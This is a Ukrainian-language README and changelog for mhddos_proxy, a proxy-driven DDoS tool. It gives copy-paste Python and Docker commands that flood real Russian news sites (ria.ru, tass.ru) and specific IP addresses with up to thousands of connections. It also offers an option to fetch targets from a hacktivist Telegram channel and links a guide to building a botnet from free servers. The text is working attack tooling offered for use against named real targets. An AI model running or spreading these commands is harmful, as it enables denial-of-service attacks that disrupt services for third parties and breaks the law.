- Вбудована база проксі з величезною кількістю IP по всьому світу
- Можливість задавати багато цілей з автоматичним балансуванням навантаження
- Безліч різноманітних методів
- Ефективне використання ресурсів завдяки асихронній архітектурі
Оновлення версії для Windows | Mac | Linux | Android | Docker: https://telegra.ph/Onovlennya-mhddos-proxy-04-16
-
21.05.2022
- Додано англійську локалізацію - параметр
--lang EN
(в майбутньому можуть бути додані інші мови)
- Додано англійську локалізацію - параметр
-
18.05.2022
- Додано налаштування
--copies
для запуску декількох копій (рекомендовано до використання при наявності 4+ CPU та мережі > 100 Mb/s).
- Додано налаштування
-
15.05.2022
- Повністю оновлена асинхронна версія, що забезпечує максимальну ефективність та мінімальне навантаження на систему
- Ефективна робота зі значно більшими значеннями параметру
-t
(до 10k) без ризику "підвісити" усю машину - Абсолютно новий алгоритм розподілення навантаження між цілями з метою досягнення максимальної потужності
- Додано методи
RGET
,RHEAD
,RHEX
таSTOMP
.
💽 Встановлення - інструкції ТУТ
python3 runner.py https://ria.ru 5.188.56.124:80 tcp://194.54.14.131:4477
docker run -it --rm --pull always ghcr.io/porthole-ascend-cinnamon/mhddos_proxy https://ria.ru 5.188.56.124:80 tcp://194.54.14.131:4477
🛠 Налаштування (більше у розділі CLI)
Усі параметри можна комбінувати, можна вказувати і до і після переліку цілей
Змінити навантаження - -t XXXX
- максимальна кількість одночасно відкритих зʼєднань, за замовчуванням 7500 (або 1500 якщо на машині лише 1 CPU)
python3 runner.py -t 7500 https://ria.ru https://tass.ru
Щоб переглянути інформацію про хід роботи, додайте параметр --debug
для тексту, --table
для таблиці
python3 runner.py https://ria.ru --debug
Щоб додати ваш IP/VPN до атаки (особливо актуально для виділених серверів)
python3 runner.py https://ria.ru https://tass.ru --vpn
Щоб обрати цілі від https://t.me/itarmyofukraine2022 додайте параметр --itarmy
python3 runner.py --itarmy --debug
Сам скрипт та інструкції по встановленню тут: https://github.com/porthole-ascend-cinnamon/proxy_finder
- Детальний розбір mhddos_proxy та інструкції по встановленню
- Аналіз засобу mhddos_proxy
- Приклад запуску через docker на OpenWRT
- Створення ботнету з 30+ безкоштовних та автономних(працюють навіть при вимкненому ПК) Linux-серверів
- VPN
usage: runner.py target [target ...]
[-t THREADS]
[-c URL]
[--table]
[--debug]
[--vpn]
[--http-methods METHOD [METHOD ...]]
[--itarmy]
[--copies COPIES]
positional arguments:
targets List of targets, separated by space
optional arguments:
-h, --help show this help message and exit
-c, --config URL|path URL or local path to file with targets list
-t, --threads 7500 Total number of threads to run (default is 7500 if CPU > 1, 1500 otherwise)
--table / --debug Print log as table / as text
--vpn Use both my IP and proxies. Optionally, specify a percent of using my IP (default is 10%)
--proxies URL|path URL or local path(ex. proxies.txt) to file with proxies to use
--http-methods GET List of HTTP(L7) methods to use (default is GET + POST|STRESS).
--itarmy Attack targets from https://t.me/itarmyofukraine2022
--copies 1 Number of copies to run (default is 1)
--lang {en,ua} Select language (default is ua)
IP:PORT
IP:PORT:username:password
username:password@IP:PORT
protocol://IP:PORT
protocol://IP:PORT:username:password
protocol://username:password@IP:PORT
де protocol
може бути одним з 3-ох: http
|socks4
|socks5
, якщо protocol
не вказувати, то буде обрано http
наприклад для публічного проксі socks4
формат буде таким:
socks4://114.231.123.38:3065
а для приватного socks4
формат може бути одним з таких:
socks4://114.231.123.38:3065:username:password
socks4://username:[email protected]:3065
URL - Віддалений файл для Python та Docker
python3 runner.py https://tass.ru --proxies https://pastebin.com/raw/UkFWzLOt
docker run -it --rm --pull always ghcr.io/porthole-ascend-cinnamon/mhddos_proxy https://tass.ru --proxies https://pastebin.com/raw/UkFWzLOt
де https://pastebin.com/raw/UkFWzLOt - ваша веб-сторінка зі списком проксі (кожен проксі з нового рядка)
path - Для Python
Покладіть файл у папку з runner.py
і додайте до команди наступний параметр (замініть proxies.txt
на ім'я свого файлу)
python3 runner.py --proxies proxies.txt https://ria.ru
де proxies.txt
- ваша ваш файл зі списком проксі (кожен проксі з нового рядка)